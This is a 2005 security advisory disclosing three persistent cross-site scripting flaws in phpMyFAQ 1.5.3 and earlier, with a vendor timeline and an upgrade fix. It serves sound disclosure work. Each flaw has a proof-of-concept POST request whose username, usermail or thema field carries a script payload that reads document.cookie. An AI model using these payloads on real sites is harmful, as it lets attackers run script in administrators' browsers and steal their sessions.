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Advisory:            Multiple Cross Site Scripting vulnerabilities in
                     phpMyFAQ
Name:                TKADV2005-11-004
Revision:            1.0              
Release Date:        2005/11/19 
Last Modified:       2005/11/19 
Author:              Tobias Klein (tk at trapkit.de)
Affected Software:   phpMyFAQ (all versions <= phpMyFAQ 1.5.3) 
Risk:                Critical ( ) High (x) Medium ( ) Low ( )  
Vendor URL:          https://www.phpmyfaq.de/ 
Vendor Status:       Vendor has released an updated version  


========= 
Overview:
========= 

  phpMyFAQ is a multilingual, completely database-driven FAQ-system.

  Version 1.5.3 and prior contain multiple persistent Cross Site 
  Scripting vulnerabilities. 


======================
Vulnerability details: 
======================

All the following vulnerabilities are exploitable by an anonymous 
user. Because of that all these issues are rated with a high 
probability of occurrence.

For a description of the calculation of the resulting threat of a 
vulnerability see reference [3]. 

All vulnerabilities are exploitable, no matter if magic_quotes_gpc
is turned on or off.


[1] Cross Site Scripting

Possible damage:           High
Probability of occurrence: High
Resulting threat:          High

HTTP method: POST
XSS type:    persistent

Vulnerability description:
  
  The "username" parameter is prone to cross-site scripting attacks. 
  This could permit an attacker to embed a malicious link into the 
  context of the web application that includes hostile client-side 
  script code or HTML. If the appropriate site within the application
  is visited, the attacker-supplied code is rendered in the browser 
  of the user who visits the site. No further user interaction is 
  needed.
  
URL with vulnerable POST form:

  [path_to_phpmyfaq]/faq/index.php?sid=2&lang=en&action=add

Vulnerable POST Parameter: username

Proof of Concept (POST request):

  POST [path_to_phpmyfaq]/faq/index.php?sid=2&lang=en&action=save 
  HTTP/1.1

  Parameter     | Value
  ------------------------------------------------------
  username      | " onmouseover="alert(document.cookie);
  usermail      | test
  rubrik%5B%5D  | 1
  thema         | test
  content       | test
  keywords      | test
  contentlink   | https://
  submit        | submit
  ------------------------------------------------------
  
If an administrator now wants to approve this new record within the
admin interface and moves the mouse pointer over the "Author" form-
field, the injected script code gets executed.


[2] Cross Site Scripting

Possible damage:           High
Probability of occurrence: High
Resulting threat:          High

HTTP method: POST
XSS type:    persistent

Vulnerability description:
  
  The "usermail" parameter is prone to cross-site scripting attacks. 
  This could permit an attacker to embed a malicious link into the 
  context of the web application that includes hostile client-side 
  script code or HTML. If the appropriate site within the application
  is visited, the attacker-supplied code is rendered in the browser 
  of the user who visits the site. No further user interaction is 
  needed.
  
URL with vulnerable POST form:

  [path_to_phpmyfaq]/faq/index.php?sid=2&lang=en&action=add

Vulnerable POST Parameter: usermail

Proof of Concept (POST request):

  POST [path_to_phpmyfaq]/faq/index.php?sid=2&lang=en&action=save 
  HTTP/1.1

  Parameter     | Value
  ------------------------------------------------------
  username      | test
  usermail      | " onmouseover="alert(document.cookie);
  rubrik%5B%5D  | 1
  thema         | test
  content       | test
  keywords      | test
  contentlink   | https://
  submit        | submit
  ------------------------------------------------------
  
If an administrator now wants to approve this new record within the
admin interface and moves the mouse pointer over the "email adress"
form-field, the injected script code gets executed.


[3] Cross Site Scripting

Possible damage:           High
Probability of occurrence: High
Resulting threat:          High

HTTP method: POST
XSS type:    persistent

Vulnerability description:
  
  The "thema" parameter is prone to cross-site scripting attacks. 
  This could permit an attacker to embed a malicious link into the 
  context of the web application that includes hostile client-side 
  script code or HTML. If the appropriate site within the application
  is visited, the attacker-supplied code is rendered in the browser 
  of the user who visits the site. No further user interaction is 
  needed.
  
URL with vulnerable POST form:

  [path_to_phpmyfaq]/faq/index.php?sid=2&lang=en&action=add

Vulnerable POST Parameter: thema

Proof of Concept (POST request):

  POST [path_to_phpmyfaq]/faq/index.php?sid=2&lang=en&action=save 
  HTTP/1.1

  Parameter     | Value
  ------------------------------------------------------
  username      | test
  usermail      | test
  rubrik%5B%5D  | 1
  thema         | ' : ''}; alert(document.cookie); //
  content       | test
  keywords      | test
  contentlink   | https://
  submit        | submit
  ------------------------------------------------------

This special PoC code only works, if it is the last entry in the
record list.

If an administrator now wants to approve this new record within the
admin interface and clicks on the appropriate topic, the injected 
script code gets executed.


========= 
Solution: 
=========

  Upgrade to phpMyFAQ 1.5.4 or newer.
  
  https://www.phpmyfaq.de/download.php


======== 
History: 
========

  2005/11/10 - Vendor notified
  2005/11/11 - Vendor response
  2005/11/18 - Release of new phpMyFAQ version
  2005/11/19 - Public release


======== 
Credits: 
========

  Vulnerabilities found and advisory written by Tobias Klein.


=========== 
References: 
===========

  [1] https://www.phpmyfaq.net/advisory_2005-11-18.php
  [2] https://www.trapkit.de/advisories/TKADV2005-11-004.txt
  [3] https://www.trapkit.de/advisories/TKADVcortav.txt


======== 
Changes: 
========

  Revision 0.1 - Initial draft release to the vendor
  Revision 1.0 - Public release


===========
Disclaimer:
===========

The information within this advisory may change without notice. Use
of this information constitutes acceptance for use in an AS IS
condition. There are no warranties, implied or express, with regard
to this information. In no event shall the author be liable for any
direct or indirect damages whatsoever arising out of or in connection
with the use or spread of this information. Any use of this
information is at the user's own risk.
The copyright for any material created by the author is reserved. Any
duplication of codes or texts provided here in electronic or printed 
publications is not permitted without the author's agreement.


================== 
PGP Signature Key: 
==================

  https://www.trapkit.de/advisories/tk-advisories-signature-key.asc

  
Copyright 2005 Tobias Klein. All rights reserved.


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